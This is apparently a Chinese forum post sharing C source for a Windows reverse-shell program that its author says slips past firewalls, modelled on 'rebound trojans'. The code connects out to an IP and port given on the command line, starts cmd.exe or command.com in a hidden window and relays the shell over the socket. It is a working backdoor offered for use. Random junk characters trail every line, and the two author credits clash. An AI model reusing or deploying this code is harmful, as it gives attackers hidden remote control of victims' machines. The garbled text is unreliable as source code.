这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 68JYA?
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/* ============================== xX$'u"dsA
Rebound port in Windows NT "1|n]0BF
By wind,2006/7 low
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===============================*/ @ -CZa^g
#include / r6^]grg
#include 9`
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#pragma comment(lib,"wsock32.lib") ? cU9~=
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void OutputShell(); 5r)ndW,aN
SOCKET sClient; Kab"r_'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \6AYx[|
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void main(int argc,char **argv) MJ "ug8N
{ art
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WSADATA stWsaData; dC+WII`V
int nRet; EQ< qN<uW
SOCKADDR_IN stSaiClient,stSaiServer; ]S!:p>R
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if(argc != 3) W;%$7&+0
{ mQ(6ahD U
printf("Useage:\n\rRebound DestIP DestPort\n"); ! Rr k
return; Wk<he F
} KA~eOEjM
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WSAStartup(MAKEWORD(2,2),&stWsaData); y2Eq-Ie
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v *'anw&Z
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stSaiClient.sin_family = AF_INET; 2IMU &
stSaiClient.sin_port = htons(0); DpD19)ouy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b;Nm$`2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G-7!|&
{ \vg(@)$q
printf("Bind Socket Failed!\n"); rK` x<
return; i28WgDG)5
} q|7i6jq\*R
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stSaiServer.sin_family = AF_INET; xA7>";sla[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HpLCOY1-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tL#~U2K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J[|4`GT
{ WZ@hP'Zc
printf("Connect Error!"); PI G3kJ
return; mYUR(*[
} a7Mn/ i.
OutputShell(); Ga<Uvr%+
} |.#G G7F^S
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void OutputShell() lIhP\:;S&
{ ^uiQZ%;
char szBuff[1024]; '@0Z#A
SECURITY_ATTRIBUTES stSecurityAttributes; 1j_gQ,'20
OSVERSIONINFO stOsversionInfo; |lDxk[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N4HIQ\p
STARTUPINFO stStartupInfo; C(%b!Q,2
char *szShell; T0;8koj^_
PROCESS_INFORMATION stProcessInformation; ayGcc`
unsigned long lBytesRead; /nq\*)S#&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vZiuElxKi
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V?L8BRnV
stSecurityAttributes.lpSecurityDescriptor = 0; eIDrN%3
stSecurityAttributes.bInheritHandle = TRUE; Wa5B;X~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y&uwi:_g
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \Ota~A
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BHu%x|d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9,?7mgZp
stStartupInfo.wShowWindow = SW_HIDE; <*Gd0 v%
stStartupInfo.hStdInput = hReadPipe; .fgVzDR|+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #b
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GetVersionEx(&stOsversionInfo); 6}cN7wnm
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switch(stOsversionInfo.dwPlatformId) PX- PVW
{ s'^sT=b
case 1: &J\<"3
szShell = "command.com"; hHk9O?
break; t-i\gq^
default: ElA(1o|9I
szShell = "cmd.exe"; $(]E$ek
break; ?j;,:n
} r3NdE~OAi
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nN2huNTf:
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send(sClient,szMsg,77,0); ?J@P0(M#
while(1) "s.hO0Z
{ x
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w|1O-k`
if(lBytesRead) $-p9cyk
{ [(2XL"4D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5]*!N
send(sClient,szBuff,lBytesRead,0); aHdQi,=z
} K: |-s4=
else u}.mJDL
{ NM"5.
lBytesRead=recv(sClient,szBuff,1024,0); z?@N+||,.
if(lBytesRead<=0) break; "QvTn=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8+ ]'2{
} Ig<# {V
} -zzoz x]S=
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return; /E!N:g<
}